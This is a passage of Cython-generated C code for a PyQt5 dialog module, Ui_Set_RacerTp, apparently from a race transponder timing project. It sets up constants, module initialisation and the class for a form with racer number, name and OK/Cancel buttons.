self.verticalLayoutWidget.setObjectName("verticalLayoutWidget") # <<<<<<<<<<<<<< * self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget) * self.verticalLayout.setContentsMargins(0, 0, 0, 0) */ __pyx_tuple__51 = PyTuple_Pack(1, __pyx_n_u_verticalLayoutWidget); if (unlikely(!__pyx_tuple__51)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__51); __Pyx_GIVEREF(__pyx_tuple__51); /* "Ui_Set_RacerTp.py":74 * self.verticalLayoutWidget.setObjectName("verticalLayoutWidget") * self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget) * self.verticalLayout.setContentsMargins(0, 0, 0, 0) # <<<<<<<<<<<<<< * self.verticalLayout.setObjectName("verticalLayout") * self.OkBtn = QtWidgets.QPushButton(self.verticalLayoutWidget) */ __pyx_tuple__52 = PyTuple_Pack(4, __pyx_int_0, __pyx_int_0, __pyx_int_0, __pyx_int_0); if (unlikely(!__pyx_tuple__52)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__52); __Pyx_GIVEREF(__pyx_tuple__52); /* "Ui_Set_RacerTp.py":75 * self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget) * self.verticalLayout.setContentsMargins(0, 0, 0, 0) * self.verticalLayout.setObjectName("verticalLayout") # <<<<<<<<<<<<<< * self.OkBtn = QtWidgets.QPushButton(self.verticalLayoutWidget) * self.OkBtn.setEnabled(False) */ __pyx_tuple__53 = PyTuple_Pack(1, __pyx_n_u_verticalLayout); if (unlikely(!__pyx_tuple__53)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__53); __Pyx_GIVEREF(__pyx_tuple__53); /* "Ui_Set_RacerTp.py":77 * self.verticalLayout.setObjectName("verticalLayout") * self.OkBtn = QtWidgets.QPushButton(self.verticalLayoutWidget) * self.OkBtn.setEnabled(False) # <<<<<<<<<<<<<< * self.OkBtn.setFocusPolicy(QtCore.Qt.NoFocus) * self.OkBtn.setContextMenuPolicy(QtCore.Qt.NoContextMenu) */ __pyx_tuple__54 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__54)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__54); __Pyx_GIVEREF(__pyx_tuple__54); /* "Ui_Set_RacerTp.py":80 * self.OkBtn.setFocusPolicy(QtCore.Qt.NoFocus) * self.OkBtn.setContextMenuPolicy(QtCore.Qt.NoContextMenu) * self.OkBtn.setToolTip("") # <<<<<<<<<<<<<< * self.OkBtn.setStatusTip("") * self.OkBtn.setAccessibleName("") */ __pyx_tuple__55 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__55)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__55); __Pyx_GIVEREF(__pyx_tuple__55); /* "Ui_Set_RacerTp.py":81 * self.OkBtn.setContextMenuPolicy(QtCore.Qt.NoContextMenu) * self.OkBtn.setToolTip("") * self.OkBtn.setStatusTip("") # <<<<<<<<<<<<<< * self.OkBtn.setAccessibleName("") * self.OkBtn.setAccessibleDescription("") */ __pyx_tuple__56 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__56)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__56); __Pyx_GIVEREF(__pyx_tuple__56); /* "Ui_Set_RacerTp.py":82 * self.OkBtn.setToolTip("") * self.OkBtn.setStatusTip("") * self.OkBtn.setAccessibleName("") # <<<<<<<<<<<<<< * self.OkBtn.setAccessibleDescription("") * self.OkBtn.setShortcut("") */ __pyx_tuple__57 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__57)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__57); __Pyx_GIVEREF(__pyx_tuple__57); /* "Ui_Set_RacerTp.py":83 * self.OkBtn.setStatusTip("") * self.OkBtn.setAccessibleName("") * self.OkBtn.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.OkBtn.setShortcut("") * self.OkBtn.setAutoDefault(False) */ __pyx_tuple__58 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__58)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__58); __Pyx_GIVEREF(__pyx_tuple__58); /* "Ui_Set_RacerTp.py":84 * self.OkBtn.setAccessibleName("") * self.OkBtn.setAccessibleDescription("") * self.OkBtn.setShortcut("") # <<<<<<<<<<<<<< * self.OkBtn.setAutoDefault(False) * self.OkBtn.setObjectName("OkBtn") */ __pyx_tuple__59 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__59)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__59); __Pyx_GIVEREF(__pyx_tuple__59); /* "Ui_Set_RacerTp.py":85 * self.OkBtn.setAccessibleDescription("") * self.OkBtn.setShortcut("") * self.OkBtn.setAutoDefault(False) # <<<<<<<<<<<<<< * self.OkBtn.setObjectName("OkBtn") * self.verticalLayout.addWidget(self.OkBtn) */ __pyx_tuple__60 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__60)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__60); __Pyx_GIVEREF(__pyx_tuple__60); /* "Ui_Set_RacerTp.py":86 * self.OkBtn.setShortcut("") * self.OkBtn.setAutoDefault(False) * self.OkBtn.setObjectName("OkBtn") # <<<<<<<<<<<<<< * self.verticalLayout.addWidget(self.OkBtn) * self.CancelBtn = QtWidgets.QPushButton(self.verticalLayoutWidget) */ __pyx_tuple__61 = PyTuple_Pack(1, __pyx_n_u_OkBtn); if (unlikely(!__pyx_tuple__61)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__61); __Pyx_GIVEREF(__pyx_tuple__61); /* "Ui_Set_RacerTp.py":89 * self.verticalLayout.addWidget(self.OkBtn) * self.CancelBtn = QtWidgets.QPushButton(self.verticalLayoutWidget) * self.CancelBtn.setToolTip("") # <<<<<<<<<<<<<< * self.CancelBtn.setStatusTip("") * self.CancelBtn.setAccessibleName("") */ __pyx_tuple__62 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__62)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__62); __Pyx_GIVEREF(__pyx_tuple__62); /* "Ui_Set_RacerTp.py":90 * self.CancelBtn = QtWidgets.QPushButton(self.verticalLayoutWidget) * self.CancelBtn.setToolTip("") * self.CancelBtn.setStatusTip("") # <<<<<<<<<<<<<< * self.CancelBtn.setAccessibleName("") * self.CancelBtn.setAccessibleDescription("") */ __pyx_tuple__63 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__63)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__63); __Pyx_GIVEREF(__pyx_tuple__63); /* "Ui_Set_RacerTp.py":91 * self.CancelBtn.setToolTip("") * self.CancelBtn.setStatusTip("") * self.CancelBtn.setAccessibleName("") # <<<<<<<<<<<<<< * self.CancelBtn.setAccessibleDescription("") * self.CancelBtn.setShortcut("") */ __pyx_tuple__64 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__64)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__64); __Pyx_GIVEREF(__pyx_tuple__64); /* "Ui_Set_RacerTp.py":92 * self.CancelBtn.setStatusTip("") * self.CancelBtn.setAccessibleName("") * self.CancelBtn.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.CancelBtn.setShortcut("") * self.CancelBtn.setAutoDefault(False) */ __pyx_tuple__65 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__65)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__65); __Pyx_GIVEREF(__pyx_tuple__65); /* "Ui_Set_RacerTp.py":93 * self.CancelBtn.setAccessibleName("") * self.CancelBtn.setAccessibleDescription("") * self.CancelBtn.setShortcut("") # <<<<<<<<<<<<<< * self.CancelBtn.setAutoDefault(False) * self.CancelBtn.setObjectName("CancelBtn") */ __pyx_tuple__66 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__66)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__66); __Pyx_GIVEREF(__pyx_tuple__66); /* "Ui_Set_RacerTp.py":94 * self.CancelBtn.setAccessibleDescription("") * self.CancelBtn.setShortcut("") * self.CancelBtn.setAutoDefault(False) # <<<<<<<<<<<<<< * self.CancelBtn.setObjectName("CancelBtn") * self.verticalLayout.addWidget(self.CancelBtn) */ __pyx_tuple__67 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__67)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__67); __Pyx_GIVEREF(__pyx_tuple__67); /* "Ui_Set_RacerTp.py":95 * self.CancelBtn.setShortcut("") * self.CancelBtn.setAutoDefault(False) * self.CancelBtn.setObjectName("CancelBtn") # <<<<<<<<<<<<<< * self.verticalLayout.addWidget(self.CancelBtn) * */ __pyx_tuple__68 = PyTuple_Pack(1, __pyx_n_u_CancelBtn); if (unlikely(!__pyx_tuple__68)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__68); __Pyx_GIVEREF(__pyx_tuple__68); /* "Ui_Set_RacerTp.py":105 * def retranslateUi(self, Set_RacerTp): * _translate = QtCore.QCoreApplication.translate * Set_RacerTp.setWindowTitle(_translate("Set_RacerTp", "Dialog")) # <<<<<<<<<<<<<< * self.label_8.setText(_translate("Set_RacerTp", "Numro course")) * self.label_6.setText(_translate("Set_RacerTp", "Prnom")) */ __pyx_tuple__69 = PyTuple_Pack(2, __pyx_n_u_Set_RacerTp, __pyx_n_u_Dialog); if (unlikely(!__pyx_tuple__69)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__69); __Pyx_GIVEREF(__pyx_tuple__69); /* "Ui_Set_RacerTp.py":106 * _translate = QtCore.QCoreApplication.translate * Set_RacerTp.setWindowTitle(_translate("Set_RacerTp", "Dialog")) * self.label_8.setText(_translate("Set_RacerTp", "Numro course")) # <<<<<<<<<<<<<< * self.label_6.setText(_translate("Set_RacerTp", "Prnom")) * self.label.setText(_translate("Set_RacerTp", "Nom")) */ __pyx_tuple__70 = PyTuple_Pack(2, __pyx_n_u_Set_RacerTp, __pyx_kp_u_Numro_course); if (unlikely(!__pyx_tuple__70)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__70); __Pyx_GIVEREF(__pyx_tuple__70); /* "Ui_Set_RacerTp.py":107 * Set_RacerTp.setWindowTitle(_translate("Set_RacerTp", "Dialog")) * self.label_8.setText(_translate("Set_RacerTp", "Numro course")) * self.label_6.setText(_translate("Set_RacerTp", "Prnom")) # <<<<<<<<<<<<<< * self.label.setText(_translate("Set_RacerTp", "Nom")) * self.OkBtn.setText(_translate("Set_RacerTp", "Valider")) */ __pyx_tuple__71 = PyTuple_Pack(2, __pyx_n_u_Set_RacerTp, __pyx_n_u_Prnom); if (unlikely(!__pyx_tuple__71)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__71); __Pyx_GIVEREF(__pyx_tuple__71); /* "Ui_Set_RacerTp.py":108 * self.label_8.setText(_translate("Set_RacerTp", "Numro course")) * self.label_6.setText(_translate("Set_RacerTp", "Prnom")) * self.label.setText(_translate("Set_RacerTp", "Nom")) # <<<<<<<<<<<<<< * self.OkBtn.setText(_translate("Set_RacerTp", "Valider")) * self.CancelBtn.setText(_translate("Set_RacerTp", "Annuler")) */ __pyx_tuple__72 = PyTuple_Pack(2, __pyx_n_u_Set_RacerTp, __pyx_n_u_Nom); if (unlikely(!__pyx_tuple__72)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__72); __Pyx_GIVEREF(__pyx_tuple__72); /* "Ui_Set_RacerTp.py":109 * self.label_6.setText(_translate("Set_RacerTp", "Prnom")) * self.label.setText(_translate("Set_RacerTp", "Nom")) * self.OkBtn.setText(_translate("Set_RacerTp", "Valider")) # <<<<<<<<<<<<<< * self.CancelBtn.setText(_translate("Set_RacerTp", "Annuler")) * */ __pyx_tuple__73 = PyTuple_Pack(2, __pyx_n_u_Set_RacerTp, __pyx_n_u_Valider); if (unlikely(!__pyx_tuple__73)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__73); __Pyx_GIVEREF(__pyx_tuple__73); /* "Ui_Set_RacerTp.py":110 * self.label.setText(_translate("Set_RacerTp", "Nom")) * self.OkBtn.setText(_translate("Set_RacerTp", "Valider")) * self.CancelBtn.setText(_translate("Set_RacerTp", "Annuler")) # <<<<<<<<<<<<<< * */ __pyx_tuple__74 = PyTuple_Pack(2, __pyx_n_u_Set_RacerTp, __pyx_n_u_Annuler); if (unlikely(!__pyx_tuple__74)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__74); __Pyx_GIVEREF(__pyx_tuple__74); /* "Ui_Set_RacerTp.py":12 * * class Ui_Set_RacerTp(object): * def setupUi(self, Set_RacerTp): # <<<<<<<<<<<<<< * Set_RacerTp.setObjectName("Set_RacerTp") * Set_RacerTp.resize(419, 114) */ __pyx_tuple__75 = PyTuple_Pack(3, __pyx_n_s_self, __pyx_n_s_Set_RacerTp, __pyx_n_s_font); if (unlikely(!__pyx_tuple__75)) __PYX_ERR(0, 12, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__75); __Pyx_GIVEREF(__pyx_tuple__75); __pyx_codeobj__76 = (PyObject*)__Pyx_PyCode_New(2, 0, 3, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__75, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_setupUi, 12, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__76)) __PYX_ERR(0, 12, __pyx_L1_error) /* "Ui_Set_RacerTp.py":103 * QtCore.QMetaObject.connectSlotsByName(Set_RacerTp) * * def retranslateUi(self, Set_RacerTp): # <<<<<<<<<<<<<< * _translate = QtCore.QCoreApplication.translate * Set_RacerTp.setWindowTitle(_translate("Set_RacerTp", "Dialog")) */ __pyx_tuple__77 = PyTuple_Pack(3, __pyx_n_s_self, __pyx_n_s_Set_RacerTp, __pyx_n_s_translate_2); if (unlikely(!__pyx_tuple__77)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__77); __Pyx_GIVEREF(__pyx_tuple__77); __pyx_codeobj__78 = (PyObject*)__Pyx_PyCode_New(2, 0, 3, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__77, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_retranslateUi, 103, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__78)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_RefNannyFinishContext(); return 0; __pyx_L1_error:; __Pyx_RefNannyFinishContext(); return -1; } static int __Pyx_InitGlobals(void) { if (__Pyx_InitStrings(__pyx_string_tab) < 0) __PYX_ERR(0, 1, __pyx_L1_error); __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_5 = PyInt_FromLong(5); if (unlikely(!__pyx_int_5)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_7 = PyInt_FromLong(7); if (unlikely(!__pyx_int_7)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_10 = PyInt_FromLong(10); if (unlikely(!__pyx_int_10)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_23 = PyInt_FromLong(23); if (unlikely(!__pyx_int_23)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_31 = PyInt_FromLong(31); if (unlikely(!__pyx_int_31)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_32 = PyInt_FromLong(32); if (unlikely(!__pyx_int_32)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_50 = PyInt_FromLong(50); if (unlikely(!__pyx_int_50)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_70 = PyInt_FromLong(70); if (unlikely(!__pyx_int_70)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_80 = PyInt_FromLong(80); if (unlikely(!__pyx_int_80)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_91 = PyInt_FromLong(91); if (unlikely(!__pyx_int_91)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_99 = PyInt_FromLong(99); if (unlikely(!__pyx_int_99)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_110 = PyInt_FromLong(110); if (unlikely(!__pyx_int_110)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_114 = PyInt_FromLong(114); if (unlikely(!__pyx_int_114)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_125 = PyInt_FromLong(125); if (unlikely(!__pyx_int_125)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_200 = PyInt_FromLong(200); if (unlikely(!__pyx_int_200)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_201 = PyInt_FromLong(201); if (unlikely(!__pyx_int_201)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_320 = PyInt_FromLong(320); if (unlikely(!__pyx_int_320)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_419 = PyInt_FromLong(419); if (unlikely(!__pyx_int_419)) __PYX_ERR(0, 1, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; } #if PY_MAJOR_VERSION < 3 PyMODINIT_FUNC initUi_Set_RacerTp(void); /*proto*/ PyMODINIT_FUNC initUi_Set_RacerTp(void) #else PyMODINIT_FUNC PyInit_Ui_Set_RacerTp(void); /*proto*/ PyMODINIT_FUNC PyInit_Ui_Set_RacerTp(void) #endif { PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; __Pyx_RefNannyDeclarations #if CYTHON_REFNANNY __Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); if (!__Pyx_RefNanny) { PyErr_Clear(); __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); if (!__Pyx_RefNanny) Py_FatalError("failed to import 'refnanny' module"); } #endif __Pyx_RefNannySetupContext("PyMODINIT_FUNC PyInit_Ui_Set_RacerTp(void)", 0); if (__Pyx_check_binary_version() < 0) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) #ifdef __Pyx_CyFunction_USED if (__pyx_CyFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_FusedFunction_USED if (__pyx_FusedFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_Coroutine_USED if (__pyx_Coroutine_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_Generator_USED if (__pyx_Generator_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_StopAsyncIteration_USED if (__pyx_StopAsyncIteration_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif /*--- Library function declarations ---*/ /*--- Threads initialization code ---*/ #if defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS #ifdef WITH_THREAD /* Python build with threading support? */ PyEval_InitThreads(); #endif #endif /*--- Module creation code ---*/ #if PY_MAJOR_VERSION < 3 __pyx_m = Py_InitModule4("Ui_Set_RacerTp", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); #else __pyx_m = PyModule_Create(&__pyx_moduledef); #endif if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) Py_INCREF(__pyx_d); __pyx_b = PyImport_AddModule(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) #if CYTHON_COMPILING_IN_PYPY Py_INCREF(__pyx_b); #endif if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error); /*--- Initialize various global constants etc. ---*/ if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif if (__pyx_module_is_main_Ui_Set_RacerTp) { if (PyObject_SetAttrString(__pyx_m, "__name__", __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) } #if PY_MAJOR_VERSION >= 3 { PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) if (!PyDict_GetItemString(modules, "Ui_Set_RacerTp")) { if (unlikely(PyDict_SetItemString(modules, "Ui_Set_RacerTp", __pyx_m) < 0)) __PYX_ERR(0, 1, __pyx_L1_error) } } #endif /*--- Builtin init code ---*/ if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) /*--- Constants init code ---*/ if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) /*--- Global init code ---*/ /*--- Variable export code ---*/ /*--- Function export code ---*/ /*--- Type init code ---*/ /*--- Type import code ---*/ /*--- Variable import code ---*/ /*--- Function import code ---*/ /*--- Execution code ---*/ #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif /* "Ui_Set_RacerTp.py":9 * # WARNING! All changes made in this file will be lost! * * from PyQt5 import QtCore, QtGui, QtWidgets # <<<<<<<<<<<<<< * * class Ui_Set_RacerTp(object): */ __pyx_t_1 = PyList_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_QtCore); __Pyx_GIVEREF(__pyx_n_s_QtCore); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_QtCore); __Pyx_INCREF(__pyx_n_s_QtGui); __Pyx_GIVEREF(__pyx_n_s_QtGui); PyList_SET_ITEM(__pyx_t_1, 1, __pyx_n_s_QtGui); __Pyx_INCREF(__pyx_n_s_QtWidgets); __Pyx_GIVEREF(__pyx_n_s_QtWidgets); PyList_SET_ITEM(__pyx_t_1, 2, __pyx_n_s_QtWidgets); __pyx_t_2 = __Pyx_Import(__pyx_n_s_PyQt5, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_QtCore); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QtCore, __pyx_t_1) < 0) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_QtGui); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QtGui, __pyx_t_1) < 0) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QtWidgets, __pyx_t_1) < 0) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":11 * from PyQt5 import QtCore, QtGui, QtWidgets * * class Ui_Set_RacerTp(object): # <<<<<<<<<<<<<< * def setupUi(self, Set_RacerTp): * Set_RacerTp.setObjectName("Set_RacerTp") */ __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_builtin_object); __Pyx_GIVEREF(__pyx_builtin_object); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_builtin_object); __pyx_t_1 = __Pyx_CalculateMetaclass(NULL, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_Py3MetaclassPrepare(__pyx_t_1, __pyx_t_2, __pyx_n_s_Ui_Set_RacerTp, __pyx_n_s_Ui_Set_RacerTp, (PyObject *) NULL, __pyx_n_s_Ui_Set_RacerTp, (PyObject *) NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); /* "Ui_Set_RacerTp.py":12 * * class Ui_Set_RacerTp(object): * def setupUi(self, Set_RacerTp): # <<<<<<<<<<<<<< * Set_RacerTp.setObjectName("Set_RacerTp") * Set_RacerTp.resize(419, 114) */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_14Ui_Set_RacerTp_14Ui_Set_RacerTp_1setupUi, 0, __pyx_n_s_Ui_Set_RacerTp_setupUi, NULL, __pyx_n_s_Ui_Set_RacerTp, __pyx_d, ((PyObject *)__pyx_codeobj__76)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 12, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_3, __pyx_n_s_setupUi, __pyx_t_4) < 0) __PYX_ERR(0, 12, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_Set_RacerTp.py":103 * QtCore.QMetaObject.connectSlotsByName(Set_RacerTp) * * def retranslateUi(self, Set_RacerTp): # <<<<<<<<<<<<<< * _translate = QtCore.QCoreApplication.translate * Set_RacerTp.setWindowTitle(_translate("Set_RacerTp", "Dialog")) */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_14Ui_Set_RacerTp_14Ui_Set_RacerTp_3retranslateUi, 0, __pyx_n_s_Ui_Set_RacerTp_retranslateUi, NULL, __pyx_n_s_Ui_Set_RacerTp, __pyx_d, ((PyObject *)__pyx_codeobj__78)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_3, __pyx_n_s_retranslateUi, __pyx_t_4) < 0) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_Set_RacerTp.py":11 * from PyQt5 import QtCore, QtGui, QtWidgets * * class Ui_Set_RacerTp(object): # <<<<<<<<<<<<<< * def setupUi(self, Set_RacerTp): * Set_RacerTp.setObjectName("Set_RacerTp") */ __pyx_t_4 = __Pyx_Py3ClassCreate(__pyx_t_1, __pyx_n_s_Ui_Set_RacerTp, __pyx_t_2, __pyx_t_3, NULL, 0, 0); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyDict_SetItem(__pyx_d, __pyx_n_s_Ui_Set_RacerTp, __pyx_t_4) < 0) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":1 * # -*- coding: utf-8 -*- # <<<<<<<<<<<<<< * * # Form implementation generated from reading ui file 'defGui/Set_RacerTp.ui' */ __pyx_t_2 = PyDict_New(); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, 